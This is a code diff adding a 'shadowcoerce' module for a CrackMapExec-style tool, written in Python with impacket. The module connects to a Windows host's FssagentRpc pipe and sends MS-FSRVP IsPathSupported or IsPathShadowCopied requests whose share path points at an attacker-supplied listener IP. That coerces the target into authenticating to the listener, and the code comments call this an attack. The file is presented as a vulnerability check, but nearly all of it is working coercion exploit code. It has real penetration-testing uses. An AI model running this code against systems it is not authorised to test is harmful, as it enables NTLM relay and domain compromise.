1
+ import time
2
+ import logging
3
+ from impacket import system_errors
4
+ from impacket .dcerpc .v5 import transport
5
+ from impacket .dcerpc .v5 .ndr import NDRCALL
6
+ from impacket .dcerpc .v5 .dtypes import BOOL , LONG , WSTR , LPWSTR
7
+ from impacket .uuid import uuidtup_to_bin
8
+ from impacket .dcerpc .v5 .rpcrt import DCERPCException
9
+ from impacket .dcerpc .v5 .rpcrt import RPC_C_AUTHN_WINNT , RPC_C_AUTHN_LEVEL_PKT_PRIVACY
10
+
11
+ class CMEModule :
12
+
13
+ name = 'shadowcoerce'
14
+ description = "Module to check if the target is vulnerable to ShadowCoerce, credit to @Shutdown and @topotam"
15
+ supported_protocols = ['smb' ]
16
+ opsec_safe = True
17
+ multiple_hosts = True
18
+
19
+ def options (self , context , module_options ):
20
+ '''
21
+ IPSC Use IsPathShadowCopied (default: False). ex. IPSC=true
22
+ LISTENER Listener IP address (default: 127.0.0.1)
23
+ '''
24
+ self .ipsc = False
25
+ self .listener = "127.0.0.1"
26
+ if 'LISTENER' in module_options :
27
+ self .listener = module_options ['LISTENER' ]
28
+ if 'IPSC' in module_options :
29
+ # Any string that's not empty can be casted to bool True
30
+ self .ipsc = bool (module_options ['IPSC' ])
31
+
32
+ def on_login (self , context , connection ):
33
+ c = CoerceAuth ()
34
+ dce = c .connect (username = connection .username , password = connection .password , domain = connection .domain , lmhash = connection .lmhash , nthash = connection .nthash , target = connection .host , pipe = "FssagentRpc" )
35
+
36
+ # If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @Shutdown
37
+ if dce == 1 :
38
+ logging .debug ("First try failed. Creating another dce connection..." )
39
+ # Sleeping mandatory for second try
40
+ time .sleep (2 )
41
+ dce = c .connect (username = connection .username , password = connection .password , domain = connection .domain , lmhash = connection .lmhash , nthash = connection .nthash , target = connection .host , pipe = "FssagentRpc" )
42
+
43
+ if self .ipsc :
44
+ logging .debug ("ipsc = %s" , self .ipsc )
45
+ logging .debug ("Using IsPathShadowCopied!" )
46
+ result = c .IsPathShadowCopied (dce , self .listener )
47
+ else :
48
+ logging .debug ("ipsc = %s" , self .ipsc )
49
+ logging .debug ("Using the default IsPathSupported" )
50
+ result = c .IsPathSupported (dce , self .listener )
51
+
52
+ dce .disconnect ()
53
+
54
+ if result :
55
+ context .log .highlight ("VULNERABLE" )
56
+ context .log .highlight ("Next step: https://github.com/ShutdownRepo/ShadowCoerce" )
57
+
58
+ else :
59
+ logging .debug ("Target not vulnerable to ShadowCoerce" )
60
+
61
+ class DCERPCSessionError (DCERPCException ):
62
+ def __init__ (self , error_string = None , error_code = None , packet = None ):
63
+ DCERPCException .__init__ (self , error_string , error_code , packet )
64
+
65
+ def __str__ ( self ):
66
+ key = self .error_code
67
+ error_messages = system_errors .ERROR_MESSAGES
68
+ error_messages .update (MSFSRVP_ERROR_CODES )
69
+ if key in error_messages :
70
+ error_msg_short = error_messages [key ][0 ]
71
+ error_msg_verbose = error_messages [key ][1 ]
72
+ return 'SessionError: code: 0x%x - %s - %s' % (self .error_code , error_msg_short , error_msg_verbose )
73
+ else :
74
+ return 'SessionError: unknown error code: 0x%x' % self .error_code
75
+
76
+ ################################################################################
77
+ # Error Codes
78
+ ################################################################################
79
+ MSFSRVP_ERROR_CODES = {
80
+ 0x80070005 : ("E_ACCESSDENIED" , "The caller does not have the permissions to perform the operation" ),
81
+ 0x80070057 : ("E_INVALIDARG" , "One or more arguments are invalid." ),
82
+ 0x80042301 : ("FSRVP_E_BAD_STATE" , "A method call was invalid because of the state of the server." ),
83
+ 0x80042316 : ("FSRVP_E_SHADOW_COPY_SET_IN_PROGRESS" , "A call was made to either SetContext (Opnum 1) or StartShadowCopySet (Opnum 2) while the creation of another shadow copy set is in progress." ),
84
+ 0x8004230C : ("FSRVP_E_NOT_SUPPORTED" , "The file store that contains the share to be shadow copied is not supported by the server." ),
85
+ 0x00000102 : ("FSRVP_E_WAIT_TIMEOUT" , "The wait for a shadow copy commit or expose operation has timed out." ),
86
+ 0xFFFFFFFF : ("FSRVP_E_WAIT_FAILED" , "The wait for a shadow copy commit expose operation has failed." ),
87
+ 0x8004230D : ("FSRVP_E_OBJECT_ALREADY_EXISTS" , "The specified object already exists." ),
88
+ 0x80042308 : ("FSRVP_E_OBJECT_NOT_FOUND" , "The specified object does not exist." ),
89
+ 0x8004231B : ("FSRVP_E_UNSUPPORTED_CONTEXT" , "The specified context value is invalid." ),
90
+ 0x80042501 : ("FSRVP_E_SHADOWCOPYSET_ID_MISMATCH" , "The provided ShadowCopySetId does not exist." ),
91
+ }
92
+
93
+
94
+ ################################################################################
95
+ # RPC CALLS
96
+ ################################################################################
97
+ class IsPathSupported (NDRCALL ):
98
+ opnum = 8
99
+ structure = (
100
+ ('ShareName' , WSTR ),
101
+ )
102
+
103
+ class IsPathSupportedResponse (NDRCALL ):
104
+ structure = (
105
+ ('SupportedByThisProvider' , BOOL ),
106
+ ('OwnerMachineName' , LPWSTR ),
107
+ )
108
+
109
+ class IsPathShadowCopied (NDRCALL ):
110
+ opnum = 9
111
+ structure = (
112
+ ('ShareName' , WSTR ),
113
+ )
114
+
115
+ class IsPathShadowCopiedResponse (NDRCALL ):
116
+ structure = (
117
+ ('ShadowCopyPresent' , BOOL ),
118
+ ('ShadowCopyCompatibility' , LONG ),
119
+ )
120
+
121
+ OPNUMS = {
122
+ 8 : (IsPathSupported , IsPathSupportedResponse ),
123
+ 9 : (IsPathShadowCopied , IsPathShadowCopiedResponse ),
124
+ }
125
+
126
+ class CoerceAuth ():
127
+ def connect (self , username , password , domain , lmhash , nthash , target , pipe ):
128
+ binding_params = {
129
+ 'FssagentRpc' : {
130
+ 'stringBinding' : r'ncacn_np:%s[\PIPE\FssagentRpc]' % target ,
131
+ 'UUID' : ('a8e0653c-2744-4389-a61d-7373df8b2292' , '1.0' )
132
+ },
133
+ }
134
+ rpctransport = transport .DCERPCTransportFactory (binding_params [pipe ]['stringBinding' ])
135
+ dce = rpctransport .get_dce_rpc ()
136
+
137
+ if hasattr (rpctransport , 'set_credentials' ):
138
+ rpctransport .set_credentials (username = username , password = password , domain = domain , lmhash = lmhash , nthash = nthash )
139
+
140
+ dce .set_credentials (* rpctransport .get_credentials ())
141
+ dce .set_auth_type (RPC_C_AUTHN_WINNT )
142
+ dce .set_auth_level (RPC_C_AUTHN_LEVEL_PKT_PRIVACY )
143
+ logging .debug ("Connecting to %s" % binding_params [pipe ]['stringBinding' ])
144
+
145
+ try :
146
+ dce .connect ()
147
+ except Exception as e :
148
+ # If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @ShutdownRepo
149
+ if str (e ).find ('STATUS_PIPE_NOT_AVAILABLE' ) >= 0 :
150
+ dce .disconnect ()
151
+ return 1
152
+
153
+ logging .debug ("Something went wrong, check error status => %s" % str (e ))
154
+
155
+ logging .debug ("Connected!" )
156
+ logging .debug ("Binding to %s" % binding_params [pipe ]['UUID' ][0 ])
157
+ try :
158
+ dce .bind (uuidtup_to_bin (binding_params [pipe ]['UUID' ]))
159
+ except Exception as e :
160
+ logging .debug ("Something went wrong, check error status => %s" % str (e ))
161
+
162
+ logging .debug ("Successfully bound!" )
163
+ return dce
164
+
165
+
166
+ def IsPathShadowCopied (self , dce , listener ):
167
+ logging .debug ("Sending IsPathShadowCopied!" )
168
+ try :
169
+ request = IsPathShadowCopied ()
170
+ # only NETLOGON and SYSVOL were detected working here
171
+ # setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)
172
+ request ['ShareName' ] = '\\ \\ %s\\ NETLOGON\x00 ' % listener
173
+ # request.dump()
174
+ dce .request (request )
175
+ except Exception as e :
176
+ logging .debug ("Something went wrong, check error status => %s" , str (e ))
177
+ logging .debug ("Attack may of may not have worked, check your listener..." )
178
+ return False
179
+
180
+ return True
181
+
182
+ def IsPathSupported (self , dce , listener ):
183
+ logging .debug ("Sending IsPathSupported!" )
184
+ try :
185
+ request = IsPathSupported ()
186
+ # only NETLOGON and SYSVOL were detected working here
187
+ # setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)
188
+ request ['ShareName' ] = '\\ \\ %s\\ NETLOGON\x00 ' % listener
189
+ dce .request (request )
190
+ except Exception as e :
191
+ logging .debug ("Something went wrong, check error status => %s" , str (e ))
192
+ logging .debug ("Attack may of may not have worked, check your listener..." )
193
+ return False
194
+
195
+ return True
0 commit comments